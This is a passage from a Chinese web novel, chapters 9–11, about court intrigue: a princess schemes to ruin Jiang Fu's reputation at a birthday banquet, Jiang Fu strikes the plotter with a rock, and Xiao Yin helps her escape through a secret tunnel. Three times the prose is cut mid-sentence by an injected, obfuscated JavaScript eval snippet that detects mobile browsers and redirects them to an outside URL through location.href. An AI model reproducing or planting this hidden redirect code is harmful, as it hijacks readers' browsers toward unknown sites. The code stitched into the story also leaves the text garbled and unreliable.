江芙这个时候自是不可能答他的话的,她双手死死抓住萧隐的衣襟,埋首于他胸前,整个人几乎已经在发抖了。 她想得很多,若被发现了,肖译肯娶她还好,若不愿意,她的名声算是彻底毁了。 和外男在官邸厮混,她不敢想此事一出,外面会传得有多难听。 薇薇会受她连累,定安伯府必然也容不下她。 她日后该如何是好? 萧隐本还在笑吟吟观察着江芙的反应,却迟迟不见她出声,等了半天,终于发觉到不对,抬手扣住江芙下巴,抬起她的脸。 眼底含泪,虽还未哭,却已称得上一句梨花带雨。 萧隐眉心微蹙。 江芙抓他抓得愈紧,哑着嗓子小声道:“肖公子,若是被发现了,你能……你能……” 后面的话她实在说不出口,但萧隐已然明了了。 他没做声。 少顷,江芙身前热意一空,遮挡她的高大身躯抽身而去,她本能地往前追了一步,被萧隐推了回去。 江芙眼睁睁看他离开。 不多时,外面传来萧隐的声音:“崔大人,王大人。” 外间的两人见太子突然出现,惶恐不已,俯身就要行礼,萧隐却突然做了一个噤声的动作。 两人面面相觑,不知太子这是何意。 萧隐道:“两位大人在找什么?” 两人对视一眼,那位王大人道:“是……近日编修的一册书少了一页,好似放在此处,下……” 萧隐打断他,道:“不必寻了。” 王大人张了张嘴:“……啊?” 萧隐道:“两位大人公务繁忙,这等小事,交给手下人去做就是,马上就要放值了,还是早些回家,陪妻儿用饭要紧。” 两人惊疑不定,不解太子殿下今日怎么如此体贴。 沉默片刻,那位王大人擦了擦额角的汗,躬身道:“可是近日我等有哪里做得不好……” “没有。”萧隐再一次打断他的话,脸上也带了些不耐,“你们走吧。” 赶人之意,显而易见。 两人见状,不敢久留,行了一礼就走了,连句话都不敢多说。 毕竟太子殿下看起来不是很想听他们讲话。 那两人的背影消失后,萧隐折返回去,见江芙缩在角落,听到脚步声,又往里躲了躲。 受惊不小。 他上前,柔声道:“好了,他们都走了,不会再回来了。” 江芙这才彻彻底底地松了口气,身子一软,靠在了一旁的书架上。 惊惧过后,便是扑面的后怕,她垂下头,咬着牙不肯哭出来。 萧隐蹙眉,递给她一方手帕。 江芙接过,狠狠地扔到了他身上。 回去的路上,她一句话也不肯和他说。 萧隐慢悠悠跟在她身后,心道这可不妙。 他好像真把人惹急了。 一直到出了翰林院,江芙才停下脚步,语气冷硬地道:“好了,肖公子就送到这里吧,剩下的路我自己会走。” 萧隐好脾气道:“此处到定安伯府还有两三条街呢,江娘子,我送送你吧。” 江芙道:“不必。” 萧隐沉默一瞬,继续道:“你一个人回去不安全。” 江芙吸了吸鼻子,道:“再不安全,也比和肖公子在一起强。” 这话已然含了几分讽刺,很不中听,萧隐脸色也冷了下来,冷淡道:“那江娘子自便吧。” 江芙本以为他还会哄她两句,没想到等了半天,就等来这么句话,气得拂袖就走。 车马喧嚣的长街之上,只剩萧隐一个人。 他顿觉索然无味。 江芙憋着口气,硬是连顶小轿都没找,一个人走回了定安伯府。 门房见她回来,与她寒暄几句。江芙应付过去,往自己和妹妹居住的小院走,谁料转过一条小路,看见个熟悉的身影。 是魏延年。 这条路是她回房的必经之路,魏延年在此等着,要堵谁不必多说。 江芙心累不已,转头就想走,魏延年却已看到了她,高声道:“芙儿。” 江芙深吸一口气,停下脚步:“三表哥。” 魏延年快步跑来,上下打量她一番,道:“芙儿,你刚是出门了吗?” 江芙道:“出了。” 魏延年又道:“你看起来不太开心。” 江芙道:“我没有。” 魏延年露出受伤的表情,道:“芙儿,你是不是在怨我?” 江芙面露不解。 魏延年断断续续道:“那天请安的事,我已经听清婳说了,我知道母亲是因为我的缘故才那样说你的,但母亲也没有坏心,我回去会和她说责任都在我,你不要生我的气。” 江芙反应了半天,才搞清楚魏延年说的是什么事。 她有些无奈,解释道:“我没生气,三表哥也不需要和姨母说什么。” 魏延年追问道:“那为何芙儿这些天都躲着不见我?我每次去寻你,云翘都说你出门了。” 她每天都出门当然是为肖译寻画去了,唐骏石虽不算什么大家,但他的画也是要预订的,江芙没有门路,说了许多好话才提前拿下那副画,结果收礼的人还反应平平。 江芙想到这事就心烦,敷衍道:“我没有,三表哥,我是真的有事。” 她想回院,魏延年就跟在她身后,喋喋不休道:“芙儿,你不要生气,你不是喜欢宴饮集会吗?过几日秦王府老王妃寿宴,我和五公主要前去贺寿,我已经和她说了,要带你一起去。” 江芙脚步一顿,脸色骤变:“你和五公主说要带我去?” 魏延年点点头,一脸赤诚:“对,我和她说了,她会同意的。” 江芙如遭雷劈。 她与五公主相交不多,仅见过一面,对方屈尊来定安伯府用午膳,摆了好大的阵仗,江芙坐在角落,闷头吃饭,一句话也没说。 但那个时候,萧陵月看她的眼神已然不善。 也是在那天之后,江芙才知道,魏延年与五公主早已定亲,那日大张旗鼓地来府上用膳,大约也是在宣示自己的身份。 江芙是想找个安身之所,但她更不愿掺合进别人的事里,渐渐与魏延年疏远了关系。 江芙实在搞不明白,魏延年到底是抱着什么心思对她一再示好,又是抱着什么脑子,敢对五公主说要带她去秦王府老太妃的寿宴。 他难道不知道萧陵月是太子胞妹,不知道这门婚事本就是定安伯府高攀吗? 江芙后退一步,按了按额角,道:“三表哥,算我求你了,以后不要来找我了。这件事五公主也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011030|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会同意的,你别再提了。” 魏延年抬了下手,想拉她的手,见江芙实在抗拒,受伤道:“芙儿……” 江芙道:“表哥,我感激姨母收留我,对你也像对自家兄长一样敬重。我一介孤女,也请表哥体谅体谅我的难处吧。” 魏延年黯然神伤,江芙看了他两眼,有些心软,但想想他干的那些事,还是一咬牙,走了。 . 余霞散成绮,朱红的宫墙渐次染上金晖,琉璃瓦光灿耀眼,一片夕晖之中,萧隐缓步踏入长乐宫。 徐皇后本就是个性情和顺,喜欢安静的女子,近年来身体不好,愈发深居简出,长乐宫常年寂静,唯独萧陵月来的时候会稍微热闹些。 萧隐刚到门口,就已经听见她的哭闹声了:“那江芙算个什么东西?魏延年竟敢为了她和我吵架,我明天就去刮了她的脸!” 徐皇后看着眼前的女儿,很是头疼。 萧隐进门,萧陵月一见他就站起来,哭道:“皇兄,你可一定要为我做主啊!” 萧隐眉梢一动,已然有几分不耐。 萧陵月瞬间噤声。 徐皇后见状,也松了口气,让宫人给他看茶。 萧隐坐下,这才问:“又是怎么回事?” 萧陵月张嘴就要骂人,徐皇后给她使了个眼色,轻声细语道:“是魏家那个小子。过几日秦王府寿宴,他非要带他那个表妹一起去,还说如果月月不带他表妹,他也不去了,月月这才如此气愤。” 萧隐刮了刮茶沫,面色寡淡。 徐皇后见他不说话,道:“魏家那孩子实在是拎不清轻重,这样的话竟也说得出口。若真顺了他的意,以后月月嫁过去,还不知要受多少委屈。” 萧隐嘲讽道:“让她取消婚约又不愿意,自己受着吧。” 萧陵月瞪大眼睛,但兄长在前,她不敢造次,只得委委屈屈地看向徐皇后。 萧隐今天的心情明显非常不好,平常这种事,他都是置之不理的。徐皇后沉默片刻,道:“话也不能这么说,月月和他自小相识,青梅竹马,总是有感情的。” 萧隐不敢苟同。 徐皇后继续道:“话又说回来,以前都好好的,那个江芙一来怎么就变成这样了。” 萧隐却道:“他表妹都未必知道他这些盘算,现在就把罪责推到人家身上去,未免言之过早。” 江芙人品如何尚且不论,脑子绝对是够用的,和公主的未婚夫牵扯不清这样的糊涂事,她才不会做。 徐皇后诧异地看他一眼,缓缓道:“是这个道理。但这件事,到底是月月受了委屈的。” 萧陵月急冲冲补充道:“他还说什么他表妹喜欢宴饮集会,若能去了,定会开心,他就没想过,他表妹开心,我不开心吗?” 萧隐眉梢微动,突然问道:“那你想怎么样?不让他表妹去?” 萧陵月没想到他还会问这些,愣了一下,道:“不然呢?” 萧隐放下茶盏,道:“不让他表妹去,然后为此再和他闹一通脾气,再等着他表妹趁虚而入?” 萧陵月一愣,突然发觉好像是这个道理,又见萧隐有理会这件事的意思,忙虚心求教道:“皇兄,那我该如何?” “若我是你。”萧隐气定神闲,“我会答应他。” 萧陵月不解道:“那岂不是遂了他们的意?” 萧隐条清缕晰地给她分析道:“那又如何?魏延年对他那表妹不过一时新鲜,你现在越闹腾,他越会对你生厌,不如先顺着他。” “他那表妹小门小户,进了秦王府也不过徒增笑柄,只能看着你与他亲近。且这样的场合,她如何能比得过你?天长日久,魏延年看到了你们之间的差距,自然知道谁更好。” 萧陵月沉思片刻,恍然道:“好像是这样哦。” 萧隐满意地看着萧陵月,阴霾了半日的脸上总算露出些笑意。 以江芙的本事,到了秦王府,自会结下善缘,介时他再找人抬举她几句,她再有气,也总该消了吧? 萧陵月欢天喜地地走了。徐皇后望着女儿的背影,对萧隐道:“你妹妹虽然脑子不大好使,但本性不坏,你要对她多些包容。” 萧隐不置可否。 9. 第 9 章 江芙那日拒绝过魏延年后,本以为此事就这样告一段落了,没想到过了几天,还是收到了秦王府的请帖。 不仅如此,还是五公主身边的婢女白竹亲自送来的。 那婢女态度恭敬,话里话外却全是讽刺,江芙拿着请帖,只觉烫手。 她不知萧陵月如何就突然转了性子,但事出反常必有妖,萧陵月如此热情,想来不是什么好事。 云翘道:“娘子要不别去了。” 江芙摇摇头:“我怎能不去?” 秦王府下帖,五公主身边的人亲自登门,她有几个胆子敢落这两方的面子。 江芙按了按额角,只觉这几日,没有一件事是称心如意的。 云翘沉默一会儿,道:“娘子万事小心。” 江芙道:“我知道。” 及至秦王府大摆宴席,正是个艳阳当空,春光明媚的好日子。 魏延年与江芙来时,一路和她保证了许多话,江芙一句都没应,果不其然,入府没多久,他就被萧陵月叫走了,临走时还依依不舍地看着江芙,全然不顾一旁萧陵月如刀子一般的眼神。 江芙恍若未觉,对着面前一盏青花瓷碗研究得认真,直到那两人走了才抬起头。 老王妃年岁居长,论起辈分,比今上还大一辈,俨然活成了个吉祥物,再加之秦王在京中人缘一向不错,今日寿宴,当真是宾客云集。 还未开席,众人随意闲谈着,江芙只求安稳渡过这一日,异常素净低调,兀自在角落饮茶。 即便如此,仍有人频频向她的方向侧目。 是几个衣着锦绣的勋贵少年,几人推搡着往她这边走,声音太大,江芙有心忽略也难。 她在心底轻叹一声,正准备离开,其中一人已上前拦住她的去路。 来人一身靛蓝圆领衫,笑起来颇有几分俊朗,折扇一打,风流倜傥,道:“娘子留步。” 江芙侧身,道:“公子有何事?” 那蓝衣郎君风度翩翩地一拱手,道:“在下冒昧,方才见娘子一个人坐于此处,也不与人交谈,敢问为何?” 江芙面无表情地看着他。 蓝衣郎君解释道:“今日寿宴,别处都是花团锦簇的热闹,看了让人心烦,倒是娘子这里,清幽雅致,令人心生向往。” 身后簇拥着的少年们闻声发出一阵窃笑。 这几人明显就是拿她做消遣,江芙心烦不已,冷淡道:“公子再往前走几步,是下人们的恭房,那里更清幽雅致。” 蓝衣郎君笑容一僵,道:“呵呵……我只是想与娘子说两句话……” 江芙道:“如今也说完了。” 连着碰了好几个软钉子,那蓝衣郎君脸上也挂不住了,悻悻离去。 江芙冷着脸坐下。 萧临川没想到那小娘子看着柔婉良善,说话却格外不中听,他是个玩不起的,被刺了几句,回来时面上是肉眼可见的尴尬与不快。 偏那几个损友还在一旁笑话他:“我们无往不利的世子殿下怎么灰溜溜回来了?” “临川,别生气啊。今日你祖母寿诞,你挂着个脸多难看。” “别说挂脸了,那小娘子牙尖嘴利,临川这脸啊,都要被她说没了。” 众人捧腹大笑,萧临川面色愈发不好,但去找江芙时,也是他自己主动请缨,夸下海口,这会儿不好发作,只得臭着脸道:“你们慢慢闹吧,我还要去向祖母贺寿。” 说罢拂袖而去。 众人见他真的恼了,皆不做声,等他走了才笑作一团。 萧临川憋着股火,到了寿安堂,只见老王妃满头银丝,面容红润,笑容都比以往灿烂几分,秦王与秦王妃坐于她右侧,更尊贵的左席,则让了出去。 萧隐面容和煦,不知问了些什么,笑容淡淡,略显关怀而不热切,姿态拿捏得恰到好处。 萧陵月百无聊赖地坐在一旁。 萧临川走近,听见自己父亲的声音:“多谢殿下挂念,母亲岁数大了,难免糊涂些,但身体还算硬朗。” 萧隐颔首:“母后虽在宫中,却也时常挂念老太妃的身子,来此之前,还专门嘱托了我要亲眼看过老太妃才能走,如今见老人家身体安康,母后也能安心了。” 秦王道:“幸得皇后娘娘每月派太医为母亲调养身体,母亲才能安然无恙,颐养天年,娘娘隆恩,臣等感激不尽。” 萧隐道:“都是一家人,王叔见外了。” 萧临川见他们聊得差不多了,上前道:“见过太子殿下。祖母,孙儿来给祖母贺寿,祝祖母福寿安康,长命百岁。” 老太妃见了孙子就高兴,秦王则皱眉道:“怎么来得这样迟?殿下都到了,你还没来,像什么样子。” 萧临川不敢反驳,萧隐则宽容道:“无妨。自家府宅,不必拘束。” 秦王歉然道:“让殿下见笑了。” 萧隐谦和道:“王叔哪里的话。” 秦王又虎着脸对萧临川道:“殿下手足情深,不计较你今日失礼,以后改改你这毛躁的性子!” 萧临川忙称是,这才得以坐下。 左右两侧都有位置,他本想挨着母妃坐,但萧陵月却突然给他使了个眼色,叫他过去,萧临川犹豫了一下,见秦王妃微微点头,才坐到萧陵月身侧。 相比于待人淡漠的亲兄长,萧陵月反倒和这位堂兄的关系要好一点,两人打小一起长大,上树摸鸟,下河捉鱼什么都干过,称得上一对狐朋狗友。 这会儿她见萧临川脸色不好,也直接问了:“怎么一进来就垮着个脸,谁惹你了?” 萧临川抬头看了一眼,见太子和父王已经说起朝堂上的闲散事务,无暇注意这边,才压低声音把刚才发生的事说了一遍。 萧陵月越听越皱眉,道:“哪家的人?如此不识抬举?” 萧临川道:“不知道,之前没见过她,不过看言谈举止,应是书香出身,长得倒是不错。” 萧陵月沉吟道:“新面孔么……”她突然想到些什么,问:“那女子可是穿兰苕色衣裙,梳朝云髻?” 萧临川道:“正是。月月,你认识她?” 萧陵月咬牙道:“她就是江芙!” 萧临川惊讶道:“她是江芙?” 他心道,怎么他看到的江芙,和堂妹口中的不太一样呢? 萧陵月恼道:“这个贱人,勾引了延年还不够,竟然还敢到你面前惺惺作态,我一定要给她点颜色看看!。” 萧临川不敢作声。 萧陵月眼珠一转,看了萧隐一眼,确定自己这边声音压得足够低,他也无暇分神给他们,才道:“堂兄如此喜欢江芙?可想一亲芳泽?” 今日是祖母寿宴,萧临川不想闹出乱子,再者他是个有贼心没贼胆的,犹豫道:“这……” 萧陵月道:“无需堂兄做什么,一切都交给我。” “若真出了事……” “出了事又如何?”萧陵月轻描淡写,“江芙那样的家世,真闹起来,旁人只会觉得是她蓄意勾引,大不了收她入府为妾。” 萧临川想到好友的嘲笑,咬咬牙,下定决心,道:“一切都托付给妹妹了。” 萧陵月摆手,道:“好说。” 及至开宴,一行人往堂厅走去,太子与秦王走在最前方,萧陵月快步跟上去,她心里有了主意,心情大好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011031|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴也甜了几分:“皇兄,你慢些,妹妹都跟不上了。” 萧隐面含笑意,闻声侧头,幽幽看了她一眼。 萧陵月被他看得背后发毛,缩了缩脖子,强笑道:“皇兄怎么这样看我?” 萧隐似笑非笑:“没什么,只是觉得,妹妹愈发有本事了。” 这话怎么听也不像夸赞,萧陵月尬笑几声,萧临川见状,给她打圆场:“月月如今长大了嘛。” 萧隐冷冷扫他一眼,不欲计较,道:“走吧。” 高朋满座,兰薰桂馥。魏延年在外面等了许久,早已不耐烦应付秦王府那些旁支子弟,见萧陵月出来,低声抱怨道:“又没我的事,你叫我来干嘛?” 萧陵月瞪他一眼:“你不等我,去陪你的芙妹妹吗?” 魏延年道:“这都哪儿跟哪儿?我在这儿又没什么用,芙儿第一次来秦王府,我当然要多照顾些她了。” 萧陵月怒道:“她那么大个人了,用得着你照顾吗?” 魏延年道:“你怎么总是针对芙儿?” 萧陵月道:“是我针对她吗?分明是她自己举止不端。好了,我今日懒得和你计较,等会儿你坐我身旁,少往她那儿凑。” 魏延年满脸不甘,但看看一旁的太子,还是把话咽回去了。 他只得随萧陵月入席,还满脸担忧地往江芙的方向看了好几眼,但老太妃八十大寿,秦王府今日排场摆得极大,他怎么找也找不见江芙。 萧陵月见状,冷哼一声,给身旁的婢女使了个眼色。 那婢女闻声而去,萧陵月想到接下来要发生的事,脸色这才好些,举杯恭祝老太妃松鹤延年。 江芙自是不知道那边发生的事,她身份低微,坐于末席,隔着乌泱泱一片人头,连上头的人是谁都看不清。 上面的人说完吉祥话,也到了开席的时候,歌姬舞者渐次入场,丝竹管弦交相奏起,江芙浅尝了几口菜色,觉得过于甜腻,也不动筷了,专心欣赏起歌舞来。 宴至一半,酒酣耳热之时,一婢女到她身侧,小声道:“是江娘子吗?” 江芙侧头,上下打量了她一番,确定自己没见过这个人,谨慎道:“何事?” 来人身着秦王府婢女的衣物,语气热诚:“江娘子,魏公子特意叫奴婢把这个东西拿给您。” 婢女展开掌心,上面躺着一节折过好几道的小纸条。 江芙往后侧了侧身,没接,只看鬼一样地看着她。 那婢女见江芙不动,索性把纸条强塞到她手里,临走前还不忘嘱托一句:“魏公子说了,请您务必要打开看看。” 江芙捏着那节纸条,颇有些茫然。 但片刻后,她还是把它打开来看了。 上书:未时二刻,后院竹林明月亭一见,聊解相思之苦。 要不是周围没有火烛,江芙真想把这玩意儿直接烧了。 她心道,传信的人是把她当傻子糊弄吗? 且不说她和魏延年还没有熟到可以书信传情的程度,就算有,两人在定安伯府中大可以日日见面,如何就连这一会儿都等不了? 最重要的是,她第一次来秦王府,连后院的竹林在哪都不知道啊。 江芙哭笑不得,一时为遭了算计气愤,一时又为这么拙劣的手法而感到好笑。 但坐了片刻,冷静下来后,她将纸条塞进腰封,还是决定排除万难,去会一会送信之人。 她不可能由着别人算计而不还手。 就算还不了手,她总要知道对方是谁,有什么谋算。 江芙心中隐隐有所猜测,但总觉得凭对方一个人,布不下这个局,所以还是要去印证一下才好。 10. 第 10 章 歌舞奏尽,众人各自寻了相熟的人交谈,江芙趁机悄悄溜了出去。 她找婢女打听了竹林在哪,送信之人也算精挑细选了个好地方,秦王府今日往来人员繁杂,江芙一路走过来,竟没碰到几个人,足见此处偏僻。 她到了信上所说的明月亭,但没进去,而是躲到了旁边的假山后,环顾四周,寻到一块大小分量都相当合适的石头,拿在手里掂了掂,还算趁手。 信上约的是未时二刻,江芙来得要更早些,未时一刻就到了,她本以为还要再等一会儿,没想到没过多久,就有个人影出现在明月亭中。 是不久前见到的那个蓝衣郎君。 他进了小亭后,理了理衣襟,满面春风,翘首以盼。 江芙蹙起眉。 看他神情自若,想来是知道来这里是要干嘛,定是同谋无疑,可她从未告知过此人自己的名姓,就算他向旁人打听出来了,又怎么能肯定假借魏延年之名引她赴约,她就一定会来呢? 此事疑点太多,面前这人显然只是计划中的一环。 江芙耐心等了片刻,而外面那人久等不至,脸上也露出些不耐烦,几次向外张望,举步欲走。 眼看再等下去也不会有什么转机,反而要叫这人跑了,江芙干脆一咬牙,抱着石头悄悄逼近。 她动作轻敏,又有竹丛杂叶遮挡,那人注意力全在外面,并未注意身后的异动,几息之间,江芙已潜到他身后。 只隔区区两三步距离时,江芙放缓脚步,擦了擦汗湿的掌心,测算着速度。 就在那男子欲举步离去的一瞬,她看准时机,高高举起石头,毫不犹豫地砸了下去! 顷刻间,鲜血四溅,男子发出一声凄厉的哀嚎,重重倒了下去。 江芙下手不轻,倒地之后,血色自他后脑处蔓延开来,淌了一地。 江芙第一次干这种事,纵使早有准备,也被吓得手脚发软,在那人倒地时还下意识退了一步,此刻见人躺在地上没了动静,忙放下石头去测那人的呼吸。 还活着。 江芙松了口气,俯身去察看他身上有无可证明身份的物件儿。 翻了半天,却是一无所获。 一筹莫展之际,来时的小路上忽然传来几句笑语。 有人来了! 听声音应是女眷,人数还不少。 江芙指尖颤抖,却仍是维持着镇定把那人翻乱的衣袍恢复原样,将砸人的石头踢到一边。 声音越来越近,慌乱之间她完成一切,就近藏到一处茂盛的草丛后。 江芙进去时,目光一直紧紧盯着外面,并未发觉自己选的这个地方有丝毫不对,结果刚蹲下来,小臂就碰到一样温热的物事。 江芙大惊,吓得差点叫出声来,还没等动作,身侧的人似乎就已经预料到了她的反应,一手捂住她的嘴,一手圈住她的臂膀,动作自然的把她往自己怀里带。 这个姿势完完全全禁锢住了江芙活动的空间,她身体绷紧,一侧眸,对上了一双熟悉的、含笑的眉眼。 僵硬的身体放松下来,萧隐见她不再挣扎,也松开手,上上下下仔细打量了她一番后,用一种仿佛刚认识她的语气赞叹道:“江娘子真是好胆识。” 也不知他是何时来的,竟是在此看了一整出好戏。 江芙经上次一事,对他颇有怨言,此刻也很冷淡,张口就问:“肖公子怎会在此?” 萧隐没答,只含笑示意她往前看。 不远处,一众人影越走越近。 萧隐歪头,摊了下手。 那动作,那表情,分明在说:江娘子确定要在这个时候讨论这些吗? 江芙心知现在确实不是说话的好时机,但她心里憋着口气,就算知道,也不愿承认萧隐说的对,索性偏过头去不理他。 萧隐笑吟吟的,丝毫没有介意她的冷待,还好心的把她肩膀往下压了压,让她藏得更隐蔽些。 江芙没有拒绝,但刚一调整好姿势,就迫不及待地把他的手甩下去了。 萧隐也没生气,若有所思地看着自己的手,虚握了下,随即满脸笑意地蹲在江芙身边看戏。 江芙扒着草木,见那一行人越走越近,她们似乎是嫌宴饮无聊,出来透口气的,无意间走到了这里。 但结合刚刚发生的事,江芙绝不会以为这是巧合。 此地偏僻,景致也一般,一般来说,是怎么都闲逛不到这里来的。 待看见领头的萧陵月时,她的猜测果然得到了印证。 江芙垂下眸,须臾间已将今日的事推测了个大概。 那蓝衣郎君显然是哪家勋贵子弟,与萧陵月相识,今日大约是因为她在人前落了他面子,回去后他不知怎么和萧陵月接上头了,两人一拍即合,给她布了这个局。 先假借魏延年之名引她出来,再由这蓝衣郎君赴约,她一旦现身,这人就不可能轻易放她走,介时萧陵月再引一众夫人小姐来此,捉她个正着。 本朝男女大防不比前朝那般严苛,但也只是寻常交往无碍,私下里拉拉扯扯被人撞见,是怎么也逃不了一个私相授受的。 毁人名节,一向是俗套却好用的手段。 若江芙真与魏延年有什么便也认了,偏偏这场算计的来源,不过是魏延年那颗拎不清的猪脑子和萧陵月一厢情愿的猜忌。 而江芙能砸了那郎君的头泄愤,却无法对位高权重的五公主真正做什么。 萧陵月本已做了充足的准备来“捉奸”,甚至想好了事后该用什么语气告诉魏延年,他的芙妹妹是一个多么水性杨花的女人,但走近明月亭,却不见人影,她茫然地往周围扫了几眼,直到有一位夫人指着地面大喊,才发现地上还躺着个人。 有人哆哆嗦嗦道:“那……那不是秦王世子吗……” 殷红的血流了一地,有些已凝结成块。萧陵月腿一软,推着婢女上前:“快、快去看看!” 婢女也害怕,小心翼翼的凑过去,抬手探了探。 萧陵月站在远处问:“还活着吗?” 婢女道:“回公主,还活着。” 萧陵月松了口气,喊道:“瞧把你们吓得那样儿。都愣着干嘛,快传太医啊!” 她环顾四周,知道自己的计划败露了,萧临川不仅没见到江芙,还不知怎么,被人砸了头。 她憋了一肚子火,暗骂萧临川没用。可她再蠢,也知道这种事不能大张旗鼓地喊出来,只得先吩咐人收拾残局。 其余人不知发生了什么事,在一旁面面相觑,其中一位夫人道:“世子这是怎么了?莫不是在自家府里,还能遭了贼?” 她只是随口一说,毕竟哪有盗贼敢在老太妃寿宴这天入府行窃,还砸伤了秦王府的世子。萧陵月却眼睛一亮,道:“李夫人说的是,世子定是遭了歹人暗算。来人,给我把这附近都搜寻一遍,凡有可疑人员,都给本公主带过来!” 萧临川在此处受伤,本该赴约的江芙却不见踪影,这件事定与她脱不了干系,她动过手后,应当还没来得及走出多远。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011032|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >现在派人搜捕,还是很有可能抓住她的。 萧陵月越想越兴奋,竟是连受伤的兄长都不顾了,急冲冲指挥着侍卫搜人。 众人对视一眼,大约都明白了今日的事不是看上去那么简单。 但受伤的是秦王世子,要搜人的是五公主,皇家的事她们掺和不起,便也不多言语。 此时最紧张的莫过于江芙,这处竹林虽然枝叶繁茂,但绝不足以遮挡一个大活人行动的身影,而继续留在这里,过不了多久,就会被人发现。 这时,萧隐突然在她耳畔道:“江娘子,我可以带你出去。” 温热的气息喷在颈侧,江芙狐疑地看他一眼,满脸警惕。 她现在当真是对他一点信任也没有了。萧隐低叹一声,轻声道:“江娘子现在不跟我走,也没别的办法了,不如信我一回?” 说罢,他伸出手,眸光熠熠,等着她回答。 江芙犹豫片刻,还是握住了他的手。 萧隐勾唇一笑,带着她起身。 他动作迅捷,带着江芙几步绕到一处假山后,几乎没发出一丝声响。江芙正疑惑他来这里干嘛,萧隐却扳动了石山上的一处机关,不多时,原本看似牢靠坚固的假山竟微微晃动起来,露出其下一条隐秘的密道。 江芙震惊不已。 萧隐驾轻就熟地领她下去,再从内部关闭密道的入口。 里面是一条狭窄而幽长的甬道,墙壁上每隔十步,就有一盏小灯照明,即便如此,因为这条路过于狭长,还是显得阴森无比。 江芙不得已往萧隐那边靠了靠,反应过来后,又迅速撇开。 萧隐伤心道:“江娘子怎么用完就扔。” 江芙眯眼看着他,冷声道:“肖公子怎么知道这儿有条密道?” 秦王府中的密道,莫说肖译了,怕是府上除了秦王本人外,也没几个人知道。 看他方才那熟悉的样子,显然不是第一次来。 萧隐从腰间抽出火折子,道:“此处是前朝时一位王爷的府邸,那王爷与外臣勾结,早有谋反之心,在府中建了这条密道留作后路,若有不测,他与妻儿还可以从这条密道中逃出去。” 江芙不吃他这套:“肖公子,我是问你怎么知道这有密道,不是问你这密道的来历。” 萧隐道:“江娘子何必如此刨根问底?” 江芙嘲讽道:“不然呢?我总该知道我与什么人在一起吧?” 再一次被她阴阳怪气,萧隐的接受程度明显高多了,只是有些无奈地看着她。 江芙寸步不让。 对峙片刻后,萧隐叹了口气,道:“实不相瞒,江娘子,我入朝后没多久,就拜入太子门下,这条密道也是太子告诉我的。至于他为何告诉我,涉及朝政,请恕在下无可奉告。” 他这样说,江芙自然以为他与太子在谋划什么,这样与自己无关又涉及身家性命的大事,她一向是能躲多远就躲多远的,当下也不多问,只道:“顺着这条路一直走就能出去吗?” 萧隐风度翩翩地一笑,道:“是的,江娘子。” 他这样好脾气,倒显得江芙在无理取闹了,但她绝不会承认自己是无理取闹的人,也不和他说话了,径自走在前头。 萧隐背着手,慢悠悠跟在她身后。 甬道狭长,两壁的烛火将江芙的影子拉得很长,萧隐就一步一步跟着她的影子走,突然发觉,这样也很有趣。 似乎认识江芙以来,每次见面,他都能在她身上发现新的惊喜。 11. 第 11 章 约摸走了两刻钟左右,前方隐隐出现亮光,江芙快步上前,见尽头处矗立着一道厚重的石壁,缝隙间隐隐可见天光。 这就是可以出去了,江芙转头看向萧隐。 萧隐摸了摸下巴,仿佛没看到她的眼神一般,四处敲了敲。 江芙等了半天,终于忍不住先开口道:“这门怎么打开?” 萧隐挑眉,诧异道:“江娘子求人就是这个态度?” 这是非要听她说两句好话不可了。 江芙气结,拂袖抱膝到一旁坐下,彻底不理他了。 江芙看似柔婉,其实性子再倔强不过。萧隐想了想,坐到她身侧,假惺惺地与她讲道理:“江娘子,上次的事是我过分了些,但这次,我也算救你于水火之中了,一事抵一事,你还对我冷脸,有些说不过去了吧?” 江芙冷淡道:“哦?肖公子的一事抵一事是这样算的?” “这还不行吗?”萧隐不解道,“说起来,上次虽然凶险,但到底没被人发现,一切都在我掌控之中;可这一次,你是实打实的伤了皇子王孙,我冒着风险救你出来,好像还是我更亏一点吧。” 江芙被气得不想说话。 萧隐见她不动,上去戳戳她:“江娘子?” 江芙还是不理他,不仅不理,还往旁边坐了坐。 像个生闷气的猫宝宝。 萧隐轻笑一声,觉得她当真是可爱极了。 他长叹一声,道:“江娘子这样,真让我伤心。” 江芙被他这不要脸的话惊呆了。 他有什么好伤心的? 萧隐继续道:“我诚然得罪了江娘子,但我知道错了,也道过歉了。这次秦王府寿宴,我也是得知江娘子要来后,废了好多心思才搞到请帖的。我深知自己错得离谱,不敢轻易上前搭话,后来见娘子离席,这才鼓起勇气跟上去,想与娘子说两句话,没想到却看到那样一幕。” 萧隐转头看她:“我知道那人是秦王世子,却还是冒天下之大不韪出手相助,娘子可知为何?” 江芙仍是不说话,头却微微往他这个方向偏了偏。 